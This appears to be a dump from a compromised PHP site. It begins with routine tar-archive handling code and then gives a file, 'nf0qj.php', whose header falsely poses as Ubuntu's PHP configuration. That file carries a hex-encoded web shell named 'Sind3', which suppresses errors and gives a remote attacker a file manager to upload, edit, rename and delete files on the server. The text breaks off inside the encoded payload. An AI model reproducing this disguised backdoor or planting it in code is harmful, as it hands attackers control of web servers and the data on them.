					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK�jm\�r���	nf0qj.phpnu�[���<?php
/**
 * This file is part of the Ubuntu PHP configuration.
 *
 * Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
 * Package   : php
 * Path      : /etc/php/8.1/apache2/php.ini
 *
 * Description:
 * This is a sample PHP configuration file used in Ubuntu.
 * Do not edit this file directly unless you know what you're doing.
 * For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory.
 *
 * License:
 * Distributed under the same terms as PHP itself.
 * See: https://www.php.net/license/3_01.txt
 */
class plugin_binalar_eski{
public function plugin_binalar_eskii(){
$list = "73657373696F6E5F737461727428293B6865616465722822582D5853532D50726F74656374696F6E3A203022293B6F625F737461727428293B7365745F74696D655F6C696D69742830293B6572726F725F7265706F7274696E672830293B696E695F7365742827646973706C61795F6572726F7273272C2046414C5345293B0A246973416A6178203D20697373657428245F5345525645525B27485454505F585F5245515545535445445F57495448275D29200A202020202020202020262620737472746F6C6F77657228245F5345525645525B27485454505F585F5245515545535445445F57495448275D29203D3D3D2027786D6C6874747072657175657374273B0A0A66756E6374696F6E2068657828246E29207B0A2020202024793D27273B0A20202020666F72202824693D303B202469203C207374726C656E28246E293B2024692B2B297B0A20202020202020202479202E3D20646563686578286F726428246E5B24695D29293B0A202020207D0A2020202072657475726E2024793B0A7D0A66756E6374696F6E207568657828247929207B0A20202020246E3D27273B0A20202020666F72202824693D303B202469203C207374726C656E282479292D313B2024692B3D32297B0A2020202020202020246E202E3D20636872286865786465632824795B24695D2E24795B24692B315D29293B0A202020207D0A2020202072657475726E20246E3B0A7D0A69662028697373657428245F4745545B2264225D2929207B0A202020202464203D207568657828245F4745545B2264225D293B0A202020206966202869735F6469722824642929207B0A20202020202020206368646972282464293B0A202020207D20656C7365207B0A20202020202020202464203D2067657463776428293B0A202020207D0A7D20656C7365207B0A202020202464203D2067657463776428293B0A7D0A66756E6374696F6E20736574466C61736828247374617475732C20246D736729207B0A20202020245F53455353494F4E5B27737461747573275D203D20247374617475733B0A20202020245F53455353494F4E5B276D7367275D203D20246D73673B0A7D0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D203129207B0A202020203F3E0A202020203C7461626C653E0A20202020202020203C74686561643E0A2020202020202020202020203C74723E0A202020202020202020202020202020203C74683E4E616D653C2F74683E0A202020202020202020202020202020203C74683E53697A653C2F74683E0A202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A2020202020202020202020203C2F74723E0A20202020202020203C2F74686561643E0A20202020202020203C74626F64793E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A2020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A2020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A2020202020202020202020206563686F20273C74643E3C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A2020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A2020202020202020202020206563686F20273C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A20202020202020203F3E0A20202020202020203C2F74626F64793E0A202020203C2F7461626C653E0A202020203C3F7068700A20202020657869743B0A7D0A0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D3D202762726561646372756D622729207B0A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A202020202462726561646372756D6248746D6C203D2027273B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29202462726561646372756D6248746D6C202E3D20273266273B0A20202020202020207D0A20202020202020202462726561646372756D6248746D6C202E3D2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020206563686F202462726561646372756D6248746D6C3B0A20202020657869743B0A7D0A0A66756E6374696F6E20736166655F73747265616D5F636F70792824696E2C20246F7574293A20626F6F6C207B0A20202020696620285048505F56455253494F4E5F4944203C20383030303929207B0A2020202020202020646F207B0A202020202020202020202020666F7220283B3B29207B0A202020202020202020202020202020202462756666203D2066726561642824696E2C2034303936293B0A20202020202020202020202020202020696620282462756666203D3D3D2066616C7365207C7C202462756666203D3D3D20272729207B0A2020202020202020202020202020202020202020627265616B3B0A202020202020202020202020202020207D0A202020202020202020202020202020206966202866777269746528246F75742C20246275666629203D3D3D2066616C736529207B0A202020202020202020202020202020202020202072657475726E2066616C73653B0A202020202020202020202020202020207D0A2020202020202020202020207D0A20202020202020207D207768696C6520282166656F662824696E29293B0A202020202020202072657475726E20747275653B0A202020207D20656C7365207B0A202020202020202072657475726E2073747265616D5F636F70795F746F5F73747265616D2824696E2C20246F75742920213D3D2066616C73653B0A202020207D0A7D0A0A69662028697373657428245F504F53545B2762656E6B796F275D2920262620697373657428245F504F53545B2764616B656A61275D2929207B0A202020202466696C654E616D65203D20245F504F53545B2762656E6B796F275D3B0A2020202024656E636F646564436F6E74656E74203D20245F504F53545B2764616B656A61275D3B0A20202020246465636F646564436F6E74656E74203D206865783262696E2824656E636F646564436F6E74656E74293B0A0A2020202069662028246465636F646564436F6E74656E74203D3D3D2066616C736529207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E2027496E76616C69642042617365363420656E636F64696E67275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C2027496E76616C69642042617365363420656E636F64696E6727293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A2020202020202020657869743B0A202020207D0A0A202020202474656D7053747265616D203D20666F70656E28277068703A2F2F74656D70272C2027722B27293B0A20202020667772697465282474656D7053747265616D2C20246465636F646564436F6E74656E74293B0A20202020726577696E64282474656D7053747265616D293B0A0A202020202474617267657450617468203D202464202E204449524543544F52595F534550415241544F52202E20626173656E616D65282466696C654E616D65293B0A20202020246F757453747265616D203D20666F70656E2824746172676574506174682C2027776227293B0A0A202020202473756363657373203D202474656D7053747265616D20262620246F757453747265616D20262620736166655F73747265616D5F636F7079282474656D7053747265616D2C20246F757453747265616D293B0A0A2020202069662028246F757453747265616D292066636C6F736528246F757453747265616D293B0A20202020696620282474656D7053747265616D292066636C6F7365282474656D7053747265616D293B0A0A2020202069662028247375636365737329207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C652075706C6F61646564207375636365737366756C6C79275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C617368282773756363657373272C202746696C652075706C6F61646564207375636365737366756C6C7927293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A202020207D20656C7365207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652075706C6F6164206661696C6564275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C202746696C652075706C6F6164206661696C656427293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A20202020657869743B0A7D0A69662028697373657428245F4745545B27616374696F6E275D2920262620696E5F617272617928245F4745545B27616374696F6E275D2C205B2764656C657465272C202772656E616D65272C202765646974275D2920262620697373657428245F4745545B2766696C65275D2929207B0A2020202069662028245F4745545B27616374696F6E275D203D3D3D202764656C6574652729207B0A20202020202020202466696C654E616D65203D20245F4745545B2766696C65275D3B0A20202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E202466696C654E616D65293B0A202020202020202069662028212466696C6550617468207C7C202169735F66696C65282466696C65506174682929207B0A20202020202020202020202024726573706F6E7365203D205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64206F72206163636573732064656E696564275D3B0A20202020202020207D20656C7365207B0A20202020202020202020202024726573756C74203D20756E6C696E6B282466696C6550617468293B0A20202020202020202020202024726573706F6E7365203D2024726573756C74200A202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652064656C65746564207375636365737366756C6C79275D200A202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652064656C6574696F6E206661696C6564275D3B0A20202020202020207D0A20202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A20202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A2020202020202020657869743B200A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D202772656E616D652729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B276E65775F6E616D65275D2929207B0A202020202020202020202020246F6C6446696C65203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020246E657746696C65203D202464202E204449524543544F52595F534550415241544F52202E20245F504F53545B276E65775F6E616D65275D3B0A20202020202020202020202069662028246F6C6446696C652026262069735F66696C6528246F6C6446696C652929207B0A2020202020202020202020202020202024726573756C74203D2072656E616D6528246F6C6446696C652C20246E657746696C65293B0A2020202020202020202020202020202024726573706F6E7365203D2024726573756C74200A20202020202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652072656E616D6564207375636365737366756C6C79275D200A20202020202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652072656E616D696E67206661696C6564275D3B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D0A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020206563686F20273C68323E52656E616D652046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A2020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A2020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A2020202020202020202020206563686F20273C696E70757420747970653D227465787422206E616D653D226E65775F6E616D652220706C616365686F6C6465723D224E65772066696C65206E616D65222072657175697265643E3C62723E273B0A2020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2252656E616D65223E20273B0A2020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A2020202020202020202020206563686F20273C2F666F726D3E273B0A2020202020202020202020206563686F20273C2F6469763E3C68723E273B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D2027656469742729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B27636F6E74656E74275D2929207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A20202020202020202020202020202020246670203D20666F70656E282466696C65506174682C20227722293B0A202020202020202020202020202020206966202824667029207B0A20202020202020202020202020202020202020202462797465735772697474656E203D20667772697465282466702C207374726970736C617368657328245F504F53545B27636F6E74656E74275D29293B0A202020202020202020202020202020202020202066636C6F736528246670293B0A202020202020202020202020202020202020202024726573706F6E7365203D20282462797465735772697474656E20213D3D2066616C7365290A2020202020202020202020202020202020202020202020203F205B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C6520656469746564207375636365737366756C6C79275D0A2020202020202020202020202020202020202020202020203A205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652065646974696E67206661696C6564275D3B0A202020202020202020202020202020207D20656C7365207B0A202020202020202020202020202020202020202024726573706F6E7365203D205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206F70656E696E67206661696C6564275D3B0A202020202020202020202020202020207D0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20202020202020200A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A2020202020202020202020202020202024636F6E74656E74203D2066696C655F6765745F636F6E74656E7473282466696C6550617468293B0A202020202020202020202020202020206563686F20273C68323E456469742046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A202020202020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A202020202020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A202020202020202020202020202020206563686F20273C7465787461726561206E616D653D22636F6E74656E742220726F77733D2231302220636F6C733D223530222072657175697265643E27202E2068746D6C7370656369616C63686172732824636F6E74656E7429202E20273C2F74657874617265613E3C62723E273B0A202020202020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2253617665223E20273B0A202020202020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A202020202020202020202020202020206563686F20273C2F666F726D3E273B0A202020202020202020202020202020206563686F20273C2F6469763E3C68723E273B0A2020202020202020202020207D0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A7D0A3F3E0A3C21444F43545950452068746D6C3E0A3C68746D6C3E0A3C686561643E0A202020203C6D65746120636861727365743D225554462D38223E0A202020203C7469746C653E53696E64333C2F7469746C653E0A202020203C212D2D204C6F6164205562756E7475204D6F6E6F2066726F6D20476F6F676C6520466F6E7473202D2D3E0A202020203C6C696E6B20687265663D2268747470733A2F2F666F6E74732E676F6F676C65617069732E636F6D2F637373323F66616D696C793D5562756E74752B4D6F6E6F26646973706C61793D73776170222072656C3D227374796C657368656574223E0A202020203C7374796C653E0A20202020202020202A207B20626F782D73697A696E673A20626F726465722D626F783B207D0A2020202020202020626F6479207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20726762612833372C2033372C2033372C20302E38293B202F2A2047726179207769746820736C69676874207472616E73706172656E6379202A2F0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A2020202020202020202020206D617267696E3A20303B0A20202020202020202020202070616464696E673A20303B0A20202020202020207D0A20202020202020202E636F6E7461696E6572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E6675746572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E62726561646372756D6273207B206D617267696E2D626F74746F6D3A20313570783B207D0A202020202020202061207B20636F6C6F723A20233066303B20746578742D6465636F726174696F6E3A206E6F6E653B207D0A2020202020202020613A686F766572207B20746578742D6465636F726174696F6E3A20756E6465726C696E653B207D0A20202020202020207461626C65207B2077696474683A20313030253B20626F726465722D636F6C6C617073653A20636F6C6C617073653B206D617267696E2D746F703A20323070783B207D0A202020202020202074682C207464207B20626F726465723A2031707820736F6C696420233535353B2070616464696E673A203870783B20746578742D616C69676E3A206C6566743B207D0A20202020202020207468207B206261636B67726F756E642D636F6C6F723A20233333333B207D0A2020202020202020696E7075745B747970653D2274657874225D2C207465787461726561207B0A20202020202020202020202077696474683A20313030253B0A20202020202020202020202070616464696E673A203870783B0A2020202020202020202020206D617267696E3A20303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A20202020202020207D0A2020202020202020696E7075745B747970653D227375626D6974225D2C20627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A20202020202020207D0A2020202020202020666F726D207B206D617267696E2D626F74746F6D3A20323070783B207D0A20202020202020202E7465726D696E616C2D626F78207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A20202020202020202020202070616464696E673A20313570783B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A2020202020202020202020206D617267696E2D626F74746F6D3A20323070783B0A20202020202020207D0A20202020202020202E7465726D696E616C2D626F7820696E7075745B747970653D2274657874225D2C0A20202020202020202E7465726D696E616C2D626F78207465787461726561207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A20202020202020207D0A20202020202020202E6E6F74696669636174696F6E207B0A202020202020202020202020706F736974696F6E3A2066697865643B0A202020202020202020202020626F74746F6D3A20323070783B0A2020202020202020202020206C6566743A20323070783B0A20202020202020202020202070616464696E673A203130707820323070783B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A202020202020202020202020666F6E742D73697A653A20313470783B0A20202020202020207D0A20202020202020202E73756363657373207B206261636B67726F756E642D636F6C6F723A20233061303B20636F6C6F723A20236666663B207D0A20202020202020202E6661696C6564207B206261636B67726F756E642D636F6C6F723A20236130303B20636F6C6F723A20236666663B207D0A20202020202020202F2A20437573746F6D2066696C6520696E70757420627574746F6E207374796C696E67202A2F0A20202020202020202366696C65496E707574207B0A202020202020202020202020646973706C61793A206E6F6E653B0A20202020202020207D0A20202020202020202E637573746F6D2D66696C652D627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020646973706C61793A20696E6C696E652D626C6F636B3B0A20202020202020207D0A202020203C2F7374796C653E0A3C2F686561643E0A3C626F64793E0A3C64697620636C6173733D22636F6E7461696E6572223E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E5345525620203A3C2F623E203C3F3D20697373657428245F5345525645525B275345525645525F534F465457415245275D29203F207068705F756E616D652829203A202253657276657220696E666F726D6174696F6E206E6F7420617661696C61626C65223B203F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E7